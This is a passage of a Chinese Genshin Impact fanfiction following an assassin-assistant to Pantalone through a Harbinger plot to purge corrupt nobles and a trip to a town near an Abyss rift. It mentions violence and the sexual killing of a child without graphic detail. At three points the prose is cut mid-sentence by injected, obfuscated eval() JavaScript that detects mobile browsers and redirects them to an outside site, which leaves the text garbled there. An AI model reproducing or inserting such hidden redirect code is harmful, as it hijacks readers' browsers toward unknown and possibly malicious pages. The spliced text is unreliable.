潘塔罗涅平静都注视着面前的少年,说道:“恭喜你,谢缪尔,你已经合格了。” “我很高兴看到你文章中透露出来的想法,但我必须要提醒你的是,因为你和我同频的理念,这篇文章中涉及到了至冬未来规划。所以我会收走它,也要求你对其保密。” 谢苗抬起那双蓝紫色的眼睛,让潘塔罗涅看到了他眼中的不可置信。 谢苗:我吗? 还是谢苗:我连未来的五年规划都写到了?我这么牛? 29. 蛀虫与朽木 秋季初,谢苗年满十六岁。 他对自己的生日并不在意,也不曾透露日期告诉北国银行的任何一个人。潘塔罗涅老爷有意让他从幕后转向台前,近来交给他许多工作,似乎有让他接手一部分生意的想法。这些天谢苗吃饭都在构思数据,忙得头昏脑胀,捉刺客的时候差点让对方挣扎着逃脱。 子弹贯穿头颅,擦拭手上的血液,处理完尸体回到北国银行大厅,谢苗看了一眼墙上的日历,才发现自己生日都过去了两天。 倒也无所谓。 十六岁的少年身形高挑,总是穿着黑白灰极简色的衣衫,方便压低存在感。他不常直视谁的眼睛,也很少有人注意到他那双漂亮而少见的蓝紫色的,如同水畔鸢尾一般的双眸。 北国银行员工对他的印象就是:沉默寡言但很能吃的助理小哥。 把经理做好的报表拿上楼,谢苗发现潘塔罗涅老爷正在给自己喷香水。 “……”干啥呢。 “你回来的正好。我的同僚们举办了一场小型宴会,有些事顺便告诉他们。”潘塔罗涅穿戴好胸针,对着隔间的落地穿衣镜欣赏了一下自己的外表,很干脆道,“送我过去。” “好的老爷。”谢苗抓起外套穿上,“我去通知车夫。” 执行官他们该不会是不想付钱所以把潘塔罗涅老爷喊去结账吧? 他没在这周的行程表上看见晚上有宴会这事啊? 谢苗一头雾水,不过转念一想其他执行官(包括阿蕾奇诺在内)应该不至于这么损。 宴会地点选在了私人会馆,这是至冬一家老牌贵族的产业,因为女皇陛下的缘故,执行官偶尔会来这里和其他贵族交谈。 会馆外表沉稳低调内里奢华有内涵。至冬的秋天,这里的庭院居然还生长着娇艳的花朵与青绿的草木。地板与贴砖摸上去温热得很,也不知道用了多少心思和摩拉,才能人为的铸造这一小方生机。 小型喷泉彻夜不息,下午的阳光照射在水花上金灿灿的。 潘塔罗涅也多看了一眼。他的办公室都没这样多的绿植。雪国寒冷,青绿少见。 谢苗用只有他们两个才听得见的声音道:“像摩拉喷泉。” “这样的话,着实迷人。”潘塔罗眉眼弯弯,“约定的时间是六点,现在还早。如果你饿了,就在大厅这边的自助台吃些,不必拘束,顺利的话我们大概会争吵许久。” 嗯? 顺利也要争吵吗? 而且现在还不到五点。 潘塔罗涅:“话不投机半句多*①,这是一句璃月俗语。用在这里相当合适。” 不顺利饭也不需要吃了,直接走人就行。 谢苗点点头:“如果您需要的话,我随时出现。” 他一直很担心其他执行官把潘塔罗涅掐死。毕竟这位大名鼎鼎的银行家除了说话好听,真的不太受部分同僚喜欢。 “……知道了,吃点心去吧。” 潘塔罗涅上楼梯的时候忍不住捏捏鼻梁山根处,抬头的时候又恢复了从容镇定八面玲珑的微笑模样。 他的学生对他似乎有什么误解。 但是不重要。 因为是【富人】带过来的人,哪怕年纪轻轻,会馆的侍者也没有怠慢过。奉上一些至冬传统点心和饮品,又轻声提醒他还有许多茶点在哪些地方,可以随意取用或者传唤侍者帮忙。 谢苗找了个角落啃点心,瞧见陆陆续续来了许多执行官。有些他不认识,有些他看过照片或者见过真人,能和执行官代号对上。 没有执行官是独自来的,身边随行一到两位副官或者助理。这些副官和助理不能上楼,只能在其他地方活动。 说来惭愧,跟着潘塔罗涅老爷两年,除了杀人打杂和学习金融知识,他没有了解过其他事物。比如执行官大人们,他知道并见过的也只有少数几位。 【博士】多托雷。这位经常来找潘塔罗涅老爷交流合作或是讨要经费,所以谢苗总是能看见他的某个分身——或者说切片。 【公鸡】普契涅拉。大名鼎鼎的至冬市长,精明的政治家。谢苗总是能在新闻报纸上看到对方的照片,有时潘塔罗涅参加的宴会里也有他。故此谢苗对这位市长并不陌生。 【仆人】阿蕾奇诺。她在至冬和枫丹的壁炉之家来回跑,教导孤儿,培训役人。少数时间会让她信任的役人,也就是谢苗同期的姐妹们来看看在北国银行工作的他。至于阿蕾奇诺本人,一年也见不了两次。 【散兵】斯卡拉姆齐。今天应该是第二次见到这位少年体型的执行官。容貌和记忆中那般毫无差别,或许也是因为他长生种的出身。谢苗没见过他发脾气的样子,总觉得和传闻中的脾气不好不太一样。 【女士】洛厄法特。素来只听过她的事迹,今天这场宴会才算了第一次见到她本人。带着蝴蝶形状的戴丧面具,冷漠而美丽。目不斜视的将外套脱下给侍者,然后顺着楼梯上去。 再往后就没什么执行官了,或许有,但他不认识。这次又不是正式的执行官议会——那要到至冬宫去了。不是每一位执行官都必须要到场。 谢苗心里大致有了数,继续吃他的点心。 按照潘塔罗涅老爷的说法,顺利的话他们会争吵很久划分权责利益,回去的时间自然晚。大老爷晚餐肯定是要单独再用一些的,谢苗一般跟着他蹭吃蹭喝,那现在垫垫肚子很有必要。 吃完手里的这些,他又端着餐盘去自助台。没想到居然还有很多莫名眼熟的异国饭食——为什么眼熟并知道是异国饭食,懂的都懂。 寿司天妇罗和香煎鹅肝,苹果血肠和炸虾豆球,风味咖喱手抓饭和缤纷马卡龙? 谢苗陡然沉默。 执行官大人们来自不同的国家,但莫名感觉两个世界大差不差,有一种别样的怪异感。 不管了,吃! “这就是【富人】身边那个很能吃的小子?” “嗯,你看他都去取几次食物了?每一次盘子里都堆得满满当当,小山一样高。” “半大小子真是能吃啊,幸好【富人】有钱……” “反正他也没浪费,全都吃完了。” “你们就只看得到他吃东西?他跟着【富人】才几年就能来这边的会馆,两年啊,比你我都要年轻啊。” “……壁炉之家培养出来的,都是小小年纪一身的本事。话说起来,【仆人】和【富人】的合作……” 谢苗听得见,但是他装作没听见。 直到有人靠近,他才停止装聋作哑,扭头看过去。 那是个橙发的女人,戴着墨绿的愚人众面具。她当着谢苗的面摘下面具,单挑眉:“好久不见,谢缪尔。” “蝶安奈拉?!”谢苗颇有些惊讶,“你不是在枫丹那边吗?” 蝶安奈拉早就去了枫丹那边的壁炉之家,协助阿蕾奇诺在枫丹设置的负责人管理产业和情报网。去年曾经来信,询问过在北国银行工作的谢苗有关金融投资的情报——壁炉之家交情不错的孩子离开家后也不会断了联系,有意的情报交换各取所需。 “格伦德先生回至冬述职,我就跟着一起回来。顺便把枫丹那边的债券风投成果汇报给父亲大人。”蝶安奈拉衣着干练,类似阿蕾奇诺常服的衬衣马甲与长裤。役人通常都是这样的服饰,本质都是对追随执行官的敬慕,“你呢,跟着潘塔罗涅大人来的?” 谢苗点点头,递给她一碟切块蛋糕。 “不了,最近在控制体重。” “他们应该会谈很久,垫垫肚子吧。”谢苗知道下面的自助基本上都是给副官或者助理们吃的。 蝶安奈拉犹豫了一会,还是挑选了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679260|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些热量不高的食物,再加一块小蛋糕。 有熟人聊天还是自在许多,两人分享了一些信息,又谈起当年孩子们的近况。 谢苗说:“瓦西里现在是跟随【队长】大人,还在边境随军。他的军医当得还不错。” 蝶安奈拉耸肩:“莉兰还没有离开家,不过自从父亲大人选择主经营枫丹的布法蒂公馆后,她和很多孩子都选择去枫丹生活了。” “我都不知道,没听到消息。” “你在北国银行工作,哪能听到壁炉之家的消息。”蝶安奈拉和他并排坐着,餐叉挑起蛋糕上的奶油,在骨瓷碟上涂抹。这个动作很不显眼,但是属于壁炉之家暗语中的一种。 【死亡】【迁移】【保护】 谢苗不可置信,又说了些别的事。平复好心情后把盘中食物吃完,起身询问侍者厕所在哪。 他在拐角的回廊边等候了一会吃,果然看见蝶安奈拉跟了上来。 “到底怎么回事。”大厅人多眼杂,执行官内部利益纠葛导致不同派系间的副官也会明里暗里打探情报。谢苗不想回到壁炉之家,但这不代表他不关心那些无辜的孩子们,“父亲大人和【博士】拒绝合作,怎么还会有非正常的伤亡?” 蝶安奈拉表情严肃:“这件事和【博士】倒没什么关联。反而是……【公鸡】。” 情况是这样的。壁炉之家的孩子们通常十六岁正式离家,但十二岁之后会陆续做一些本国范围内的任务,比如收集情报之类简单的工作。偶尔会有类似能力评估与考核的任务,就像谢苗曾经只身剿灭魔物,就像蝶安奈拉曾经徒手撕裂在逃的通缉犯,就像瓦西里和帕维尔他们的暗杀任务那样……有一个十三岁的女孩接受了情报探取任务,在进行伪装潜伏时,被来任务目标住宅做客的、有特殊癖好的富商看上。不能暴露壁炉之家特务的身份,加上富商身边自然会有专人保护,那孩子的实力不足以逃出来,当晚被凌虐致死。 消息由几个小时后验收任务结果的壁炉之家专员带回,一同带回来的还有女孩伤痕累累的尸体。阿蕾奇诺震怒之下杀了那名富商。谁知道富商是老牌贵族家庭的继承人,家主通过【公鸡】向阿蕾奇诺施压——不过只是一把未能开刃,打磨得不够锋利的刀。毁掉就毁掉了,女孩的死无法与富商的价值相提并论。 壁炉之家在这件事上空前的团结一致,阿蕾奇诺拒绝服软,【公鸡】那边表面上偃旗息鼓,但后来壁炉之家接到的任务愈发危险,就差把让孩子们去送死这句话摆在明面上威胁。阿蕾奇诺向女皇请命,然后带着所有没离开家的孩子迁移到了枫丹的壁炉之家——布法蒂公馆。至于至冬城内的壁炉之家,如今只剩少部分人维持着日常的运作。 当然,阿蕾奇诺在离开至冬前挑选了一个夜晚,登门拜访那名贵族家主。隔日女仆才看清卧室内飞溅了一整个墙壁的鲜血,以及一个大写的十字叉。 “【公鸡】把这事按得很死。连壁炉之家外迁的消息都不许传播出去。父亲大人也不让我们往外说。” “……怎么告诉了我?” “你是从[家]里出去的孩子。当然可以。”蝶安奈拉轻笑,“知道吗,他们家现在的家主是那贱狗的弟弟,一直想着给他的父兄报仇。” “这所会馆,就是他家祖传的产业。” 谢苗点点头:“现在知道了,要我怎么做。” “……我知道你会答应,没想到会这样爽快。” “因为我也遇到过这种事。”谢苗看着蝶安奈拉因为震惊而缩紧的瞳孔,平静说道,“只是我足够强,耐药性也很好,才活下来并反杀。” 难道因为那孩子弱小,任务失败就活该被虐杀吗? 不,没有这样的道理,当然不是那孩子的错。 至冬内部的腐朽已经蔓延到了日光下,是时候彻清了。 30. 肃清 蝶安奈拉说,【公鸡】与【仆人】因为那场性虐杀案而反目。但谢苗又切切实实看见这二人一前一后走上二楼做不得假。 他想起潘塔罗涅今天特意叮嘱过:顺利的话,他们会争吵很久。 跟随潘塔罗涅学习已经有两年时间,谢苗对这位大老爷的语言艺术有几分了解。结合蝶安奈拉的情报来看,或许今晚执行官内部会达成某种共识协议。 他看向那处喷泉,一瞬间福至心灵:“我知道为什么是我们来了。” 到场的除【公鸡】和【富人】外,全是实打实的武斗派执行官。而他们带来的副官与助理都是拥有一定武斗能力的。 聪明人说话总是一点就透,蝶安奈拉嘴角扬起笑容,重新戴上面具:“我知道了。谢谢你提醒,谢缪尔。” “另外,我会保密。” 谢苗无所谓:“不告诉瓦西里和帕维尔就行。”他的两个哥哥很疼爱他,这些年书信往来没断过,如果知道几年前发生过的事情只会徒增愤怒与烦恼。 蝶安奈拉点头。 他们一前一后回到大厅,打了一个时间差。这时候侍者将他们吃剩的食物全部撤下去,有推来几辆餐车 摆满刚做好的佳肴。 5:54分,有侍者去大门处领着新造访的客人们进入此地,恭敬的垂眸,指引他们登上二楼。细细一数,居然好些都是权贵家主与话事人。随行权贵们的守卫没有资格和副官助理们一起待在大厅,只能去回廊,人工湖和各个拐角处站立。 这让副官和助理们不安且警惕。他们效忠于各自的执行官大人,不信任任何愚人众体系外的人踏足长官们的领域。 但【公鸡】的副官拦下了这些蠢蠢欲动忠心耿耿的同僚,出于对他身后代表的至冬市长大人头脑的信任,年轻后生们冷静下来。 谢苗今天没有带武器,身上只有一颗神之眼。他去食物自助台那边默不作声摸了两把银光闪闪的餐刀收进袖子里,然后就退到建筑物的阴影中去潜伏起来。 偏文职副官和助理乖觉的站远了一些,武斗派成员藏好武器装作什么都没有发生过的模样,屏息凝神听二楼的动静。 “我拒绝。”阿蕾奇诺双手抱胸,她没有坐在柔软的椅子上,而是站在包厢一角靠着墙壁,“你就算把北国银行划给我,我也不要。我的孩子的确会牺牲很多,他们应该是完成自己的使命,实现自己的价值。而不是倒在哪个贵族的床上,一身皮开肉绽青青紫紫。” 潘塔罗涅没说什么风凉话,他整个人陷进柔软的椅子里,转动手上的戒指,不知道在想些什么。 洛厄法特,称呼她为罗莎琳吧。罗莎琳女士神色恹恹:“这种事情还需要商讨?阿蕾奇诺没杀他满门已经是看在【公鸡】你的面子上了。” 散兵翘着二郎腿:“这个时候说的还像点人话。【公鸡】,也就是你舍不得他们背后的支持和利益。换掉这一批还会有新的家主顶上,你市长大人的地位无可撼动。” “斯卡拉姆齐,注意你的言辞。”小老头一般的【公鸡】表情不变,“潘塔罗涅,你呢,有什么想法吗?” 潘塔罗涅笑眯眯:“市长大人,您的意思还不明显吗?如果真的只是想要维系您的利益,在场的可不会有六席和八席。” 二席【博士】切片是个青年人,没有戴面具,头发乱糟糟的像鸡窝,穿的还是皱巴巴的白大褂实验服。显然是被本体从实验室里抓出来当壮丁的倒霉蛋,他左看右看,在全场沉默的时候突兀发问:“为什么不问我,普契涅拉?” “……那【博士】,你有什么想法?” “全杀了。”年轻的切片表情平静,就像家庭主妇对老公说去菜市场买两颗大白菜给孩子炒醋溜白菜吃那样自然和理直气壮,“至冬的强大不是依靠这些只会敛财和享受的酒囊饭袋,北国银行的建立不靠他们,愚人众的军备不靠他们,本体的研究也不靠他们,要他们活着做什么呢?惹四席生气,还是让你们没事干在这开会任由本体忽略我的意愿,派我来参加这个无聊透顶的会议?” 阿蕾奇诺难得没有骂他。 潘塔罗涅和多托雷每个切片的关系都不错,这大概就是金主与实验狂之间的友谊吧。他拍拍一本正经生气的切片的手背,似乎是安抚:“很快就结束了。” “……你刚刚也是这么说的。现在已经过去了三十四分钟二十八秒,那群浪费我生命和金钱的酒囊饭袋还秉持着所谓贵族的矜骄,拖拖拉拉的赶来会馆。”切片声音平静,“我真的要生气了。” 罗莎琳打了个哈欠:“快些吧,我想回去补个觉。” 【公鸡】一言不发。 阿蕾奇诺转身就要走,但潘塔罗涅叫住了她。 “等一下,四席。”潘塔罗涅推了一下鼻梁上的镜框,“我们的市长先生终于要松口了。您说对吧,市长先生?” 他给了对方一个台阶下。 “至冬是时候该清洗一遍了。”【公鸡】的声音平缓,就像冬日炉火那样温吞,“四席,你说的有道理。我们的孩子不应该这样毫无尊严的死去,至冬也不需要如此蛀虫。” “我已经邀请了十八位家族的家主与二十六名家族话事人,他们将在五分钟后上来。会馆的主人也在其中。” “军队已经包围了这四十四家住宅,今晚六点的铃声一响,我们将肃清趴在至冬身上吸食血肉与骨髓的蛀虫。其他未在名单上的家族暂时不动。” 【公鸡】说完这些话,看向阿蕾奇诺:“孩子,这样的结果你还满意吗?” 这是【公鸡】对【仆人】的低头,也是女皇对壁炉之家的补偿。 阿蕾奇诺看着沉默不语的【公鸡】,微笑的【富人】,观察自己表情的洛厄法特,一脸无趣的【散兵】,以及自顾自生闷气的【博士】切片。 她说:“我的孩子不会回来。” 曾经发生在女孩身上的暴行和伤痛如此真切,没人知道那孩子死前多么绝望。阿蕾奇诺无法改变壁炉之家执行任务的必要性,但她不允许孩子们再受到这样的伤害。 这是女皇对孩子们的歉意与补偿,但并不是富商政要对孩子们的愧疚。 阿蕾奇诺绝不原谅。 她转身离去,一同带走的还有【女士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天晚上过后,北国银行名下的债务处理人接连抄了四十四户人家的财产。经理和柜员们轻点账目忙的不可开交,潘塔罗涅还得安抚商会其他成员,谢苗从他那里领了一份名单,被指派去接管查封这些灰色产业链。 “如果有人阻拦,杀了就是。” “好的,老爷。” 直到几年后他才从退休的商会会长口中得知,这是至冬商界绝无仅有的大动荡。至冬内部腐朽的脏污让女皇和执行官们忍无可忍,挥刀割下自身的毒瘤。上层贵族几乎被血洗干净,累世的财富化作金色洪流叮叮当当落入北国银行的金库。 现在的谢苗对发生的这些并没有什么实感,只是十六岁的某个下午,他后知后觉瑟琳娜已经很久没有和他一起吃午餐了。 “你问瑟琳娜?她的父母卷入了那场[清洗],为了保住家里剩下的人,她辞职搬去了乡下。”经理是这样说的,“所以北国银行员工大多数是孤儿,或者和你一样来自壁炉之家。” 因为这样的人用起来放心。 谢苗沉默。 31. 海屑镇与故人 等谢苗再大了些,他已经不适合住在潘塔罗涅的住宅了。 尽管富人每晚歇脚入睡的庄园很大房间也多,但工作时间逐渐固定在白日的谢苗实在是不必晚上也近身保护。他开始搬出去自己租房住,固定时间上下班,早出晚归,整日和金融数字打交道……嘿,他看上去真像个年轻有为前途无量的金融分析师,仿佛记忆中的那些血腥粘腻都离他远去。 “这样不好吗?” 潘塔罗涅对他微笑:“你并不是嗜血滥杀的性格,平和安逸的生活才是你喜欢的。” 谢苗不知道要怎样描述自己心中的感受。他从小学习杀人技,知道如何用最迅速的动作抹掉目标的脖子不惊动任何人,知道怎样的潜伏手段可以迅速与环境融为一体,知道用何种模样才能快速取得目标信任甚至喜欢…… 他从没想过会这样快的脱离血腥的刀光剑影…… 不,或许现在也是拿刀的侩子手,只是银行家和风投师们的手段更加隐蔽而内敛。 他的心为此颤抖。 面对潘塔罗涅的注视,谢苗只是低下头去,不敢让自己的眼睛被看见:“老爷需要什么样的我,我就是什么样子。” 潘塔罗涅只是轻笑。 如此过了两年,这期间又发生了许多事。 瓦西里来信说,他现在正在【队长】带领的军队里当随行军医,工资优渥。除了经常随军居所不固定外,待遇什么的一切都好。 帕维尔在家信中说,前两年从他这听到了苍星军的消息,特意找到阿蕾奇诺引荐提供报名渠道,经过层层选拔可算是留下来了。从此不再做债务处理人刀尖舔血,可以成为站在阳光下的至冬精兵。 而谢苗这家伙18岁,由于当年人体改造实验的原因,哪怕个子猛长,肌肉看上去却没有几两。就是又高又瘦,脸蛋还带着点稚气未消的婴儿肥。 为了让来银行咨询债券投资的客户信赖,他不得不给自己配了副平光眼镜好叫自己看起来年长稳重些。每天就是站在大厅负责给各个年纪的客人讲解股票信息。 就是不知道为什么围着他的年轻女性越来越多——就算知道也只能当做不知道。 当然,谢苗转台前的主要工作并不只是出卖美色招揽顾客购买他负责的股票债券,他还得出差,帮助【富人】整合地区金融情报。 潘塔罗涅有很多手下,每个人都有自己的负责板块。谢苗属于起步阶段,大老爷很宽厚的为他指定了一些经济不发达地区,比如靠农业渔业发家的乡镇。没有那么光鲜亮丽,但胜在容易做出成绩。 只是寒潮、深渊裂隙、病虫害……这些问题都会造成乡镇基础产品的减产,至冬主城买基础股票的人们一旦听到这些消息便会毫不犹豫的抛售。 谢苗这些为了能保住自己饭碗和奖金的北国银行员工,还得去处理让股票下跌的“问题”。 “海屑镇外出现了深渊裂隙是没错,但军队正往那里去,就非得让你走这一趟?”经理不赞同道,“你小子就不能安分些?等军队处理完了再去?左右不过那么几天时间。” 谢苗:“……” 您似乎是忘了我的本职是特工。 谢苗无奈,只能换了个理由道:“我的哥哥就在【队长】手下,过几天他们会经过海屑镇。我想趁机见见他。” “……哦——我记得你说过家里有两个哥哥。”经理想起这回事来,盯着谢苗左瞧右看,到底还是松了口,“去吧,你已经长成大人了。” “回来的时候记得搭乘军队在的那辆列车。真遇到事了你不用顶在前面。沿途不要省摩拉,把肚子填饱。”扭头经理又在他迈出大门前连连嘱托,生怕他初出茅庐意气用事上赶着找罪受。 谢苗忙点头:“我会的,一定会的。” 海屑镇靠近他当年追杀玛格丽特姨妈时到过的雪山小镇,临海,靠渔业发展经济。谢苗在至冬主城,也就是至冬市买到的海鲜很多都是从海屑镇运过来的好货,价格比原产地高出三倍不止。 谢苗在旅店安置好行李出门逛街的时候看见价格,眼皮子直抽抽。 至冬市的一帮奸商! 当天的晚饭也是旅店提供的辣炖海鲜,谢苗人不可貌相的吃完一盆又一盆,这才装模作样的擦擦嘴巴起身收拾碗盘。 老板娘稀奇的看了又看,硬是不相信就这么小的肚子能装下几大锅食物。 “老板娘,您知道深渊裂隙吗?” “当然知道,镇子附近就出现了这么个玩意,还吞了个孩子……你可千万别是追求刺激来冒险的!”老板娘脸色一变,“安分些!可别白白送死。那孩子的父母哭得眼都肿了,至今没放弃搜寻。” “我知道的,我就是来镇上办点事,过几天还得回城里。”谢苗摸摸鼻子,显然被训得有些不好意思,“就是向您打听打听,好绕着走。万一不认路掉进去了呢?” 这还差不多……老板娘脸色稍微好看了些,还是给他划分了一个大范围,三令五申别因为好奇把命搭进去。 “冒险家协会那些年轻人个个不服输,喊着什么挑战不可能探索未知什么的就去了,要不是巡林人发现得快,全都得没。父母该多伤心啊……” 谢苗听着这些念叨,靴底踩着木制楼梯一步步走上去,吱呀吱呀,老朽而陈旧。 晚上入睡前,老板娘甚至提着油灯挨个房间叮嘱客人不要外出,问明天早上有没有想吃的。 问到谢苗的时候,他一脸困倦:“我不挑食,就是很容易饿,劳烦您费心了。” “安心睡吧孩子,明天我们烤一些香香软软的面包,甜的咸的果蔬口味的都有。”老板娘放下心来,关门前叮嘱道,“睡觉记得关窗户,夜里的风还是很冷的。” 谢苗点头:“好的。” 过了一个小时,店家夫妇也进入昏沉的梦乡。旅店里只听得见夜风的呜咽,还有碎冰碴敲打窗户的脆响。 高个子的青年身姿灵巧从窗户钻出去,风衣下摆随着动作撩起,露出两把寒光闪烁的燧发枪。 他当然会在睡觉前关窗户,前提是他打探完消息回来。 夜里的风从遥远的山林呼啸而来,脸蛋被冻得邦邦硬,伸手搓搓脸,立刻裂开几道血痕。 糟咯,忘了抹香。 但也不打紧,一晚上的功夫这种伤口自己就能愈合到谁也看不出。 谢苗不再多想,离开居民区,揣着燧发枪就踏入了那片恍若阴鬼狰狞的扭曲雪林。 深渊裂隙是深渊入侵的具象化方式之一,频率不确定,范围不确定,连释放的魔物有几何也不确定。 因为它是一扇并不稳定,内里空间随时变化的门。可能一出现就释放诸多魔物滥杀,也有可能一直悄无声息什么动静也无。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679262|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但是危险程度居高不下,愚人众没有人会傻乎乎的放任这种东西没有任何遮拦和防护的裸露在雪国的土地上。各地一旦发现有深渊裂隙出现必须立刻上报,然后军队在接到消息后的三日内到点驻扎。不管是立即厮杀还是静默观测,总归不会不管。 瓦西里他们所在的连队明日一早就能入驻海屑镇,然后把林子团团围起来勘探裂隙范围。谢苗今晚走这一遭不为别的,先来林子踩踩点,看看有没有那失足跌入深渊的倒霉孩子留下的东西。回头好让愚人众多留意些,哪怕收敛尸骨都算好的。 谁知道他这样的潜伏身法进入密林,居然被人立刻发觉。 银白的箭矢没入足前雪地三分,手中的燧发枪急切而欢喜。只有谢苗心头巨震,抬头锁定那在树上的巡林人。 那是一个金发碧眼,几年过去不见一点衰老,清丽貌美的女性熟人。 “不听话的小子,晚上不睡觉跑来林子干什么?” “……你怎么在这?” “你该叫我什么?”女人坐在树上一勾手,那箭矢便把自己从雪地里拔起飞回她手心。要不是谢苗抓枪抓得严实,恐怕这燧发枪也要脱手。 谢苗怄气:“玛格丽特姨妈。” “不错,没忘了我。你这几年日子过得不错,又是去当了谁的狗?连武器都握不住,果然是被娇养久了,连风雪都见不得。” 玛格丽特只用了一个呼吸的时间就来到了他的身后,这似乎是愚人众特工出身杀手的必修课——粗粝的手套抹去他脸上的一点血痕,点评:“娇气。” 谢苗握着枪,但枪口朝下:“这四年在【富人】手底下做事,不用频繁出外勤,他没苛刻过我。” “倒要你对他感恩戴德了。”玛格丽特翻了个大大的白眼,“来这也是为了深渊裂隙吧?我劝你惜命些别过去,里头的空间变化剧烈,卷进去九成是回不来的。” “……海屑镇那个孩子呢?我在旅馆住的时候听老板娘提起过。” “……那小鬼爱乱跑,趁着我捕猎做饭的功夫溜进林子,迷了路,又不肯呼救,等我发现他的时候,地上只剩一条红围巾。”玛格丽特声音平淡,让人完全听不出她的真实心情,“其他的,没了。” “他掉进去几天了。” “今天是第三天。” 三天了,只怕连尸骨都不剩。虽然不知道玛格丽特为什么会在这座小镇当巡林员,但是她能找到围巾,肯定也是尝试去浅层区找过的,只是一无所获。 谢苗告诉她:“明日【队长】名下的连队就会到这边来处理。不想被发现,尽快伪装起来吧。” 玛格丽特单挑眉,只问了一个问题:“第几连队?” 【队长】手下可不止一支队伍。 谢苗想了想,还是选择把瓦西里所在的连队报出来:“第一连队。” 第一连队在整个愚人众军队里属于佼佼者中的佼佼者,军纪优良作风评价什么的都是数一数二的好,他也是为瓦西里自豪的。 但是玛格丽特突兀的一声嗤笑,丢下一句“知道了”,猴子似的爬上树,穿梭在雪色的密林间,很快就不见了踪影。 谢苗真的觉得她神戳戳的。 这趟出来一无所获,谢苗也不气馁,溜回旅店从窗户翻进去,落窗上床,两眼一闭就睡了。 明天就能见到瓦西里了,开心。 32. 雪下的过去 次日天蒙蒙亮,谢苗便闻着烤面包的谷物香味醒来。 一夜过去风雪停歇,推开窗前还得震碎外面一层薄薄的冰,冷空气从缝隙钻进来,沁凉而舒爽。 穿衣洗漱,踩着好似随时可能散架但硬是没散的木楼梯下来,旅店老板娘还在后厨准备供应的早餐。热牛奶,香煎熏鱼,以及松松软软加了果酱或是海盐南瓜泥的面包。 谢苗自知饭量大吃得多,因此额外多付了餐费,不至于让人店家做亏本买卖。这会取餐倒也吃的心安理得理直气壮。 上午就是去看镇民捕鱼,观察镇上的经济情况。一群半大的孩子在厚厚的湖泊河流冰面上凿除个洞来钓鱼,谢苗路过瞥了一眼,桶里收获不少呢。 苍白天空有雪鸮急速掠过,他抬头远望这反常鸟儿的来向,便知道是军队来了。 愚人众行军第一连队行军至海屑镇外,还是第一席执行官【队长】带头。这消息平民百姓没有渠道提前获知,因此当军队进入镇上,镇长才听到消息,活像被突然放到身侧的黄瓜惊吓到的猫那样一蹦三尺高,上午茶还没吃完,就拉着外套连滚带爬的来镇子和雪林中间的缓冲地带接待贵客中的贵客。 当然,谢苗那时候并不在现场,他属于旁人眼中需要避让的“闲杂人等”——没办法,潘塔罗涅老爷有意叫他走到明面上来。因此只是在从官路进入海屑镇的必经之处等待。 也就是在这里他看见镇长慌里慌张的来安心妥帖的走。 大概是得到了那位执行官大人的保证吧。 【队长】是执行官中的最强者,虽然谢苗没有亲眼见证过这一点,但是瓦西里在家信中对这位顶头上司极尽吹捧爱戴之意,他也就信了。从上午十点多等到十二点一刻,旅店的饭还没做好,第一连队就已经朝着镇上来了。 由于不是班师回朝也不是进主城面见女皇,【队长】只要求不打扰镇上居民正常生活,便领着这群人进镇上补充物资自由活动,顺带约谈镇长。 谢苗从一大群自面前经过的愚人众士兵面上瞧了又瞧,士兵们戴着区分不同军种的面具,身体裹在臃肿的冬衣里,很难从外表辨认多年不见的熟人。 他瞅着眼睛都要被雪地的反光反盲了,才听见一声“谢缪尔!”。 “你视野内的西南方,我在这!” 队伍的尾巴通常是后勤组,军医自然也在其中。多年不见的瓦西里摘下面具,露出那双蓝宝石一般的眼睛。五官长开,虽然现在和小时候不同,但隐约瞧得见一些幼时影子。 瓦西里冲着他用力挥手,谢苗几下就跑到他身边,用力给了家人一个熊抱。要不是对方也人高马大的,很有可能被他一下扑倒。 他没发现自己长久以来主动的直视人的眼睛,也没发现自己眼底全是笑意:“你长高了好多。” “这话应该是我说才对。”瓦西里稳稳的接住弟弟,和身边的同伴摆摆手说了几句之后再见,便和弟弟朝着旁边走,彻底离队,“果然留在城里好些,脸上可算是长了一些肉。” “只是长得慢而已……问你个事。”他把瓦西里带到无人的角落才低声道,“海屑镇前几天有个孩子掉进了裂隙,你们在里面发现了什么吗?” 瓦西里:“嗯?” 瓦西里:“掉进去几天的话,连尸骨都不会留下……我们没在裂隙里发现孩子,但看见了在雪林迷路的男孩。” 谢苗一愣,总觉得有哪里不对劲。 “那个迷路的男孩去哪了?” “巡林人带他回家了。” 不对劲。 十分有九分的不对劲。 海屑镇送走了那群采买完毕的士兵,商家捧着金灿灿的摩拉笑得牙不见眼。瓦西里本来也是要跟着一起去镇外的营地生火做饭的,好在【队长】的副官很好说话,允许他和兄弟在镇上多逗留一会。 他们挑选了镇上的酒馆,瓦西里这家伙想喝一杯,谢苗也借着这个机会边吃午餐边聊天。 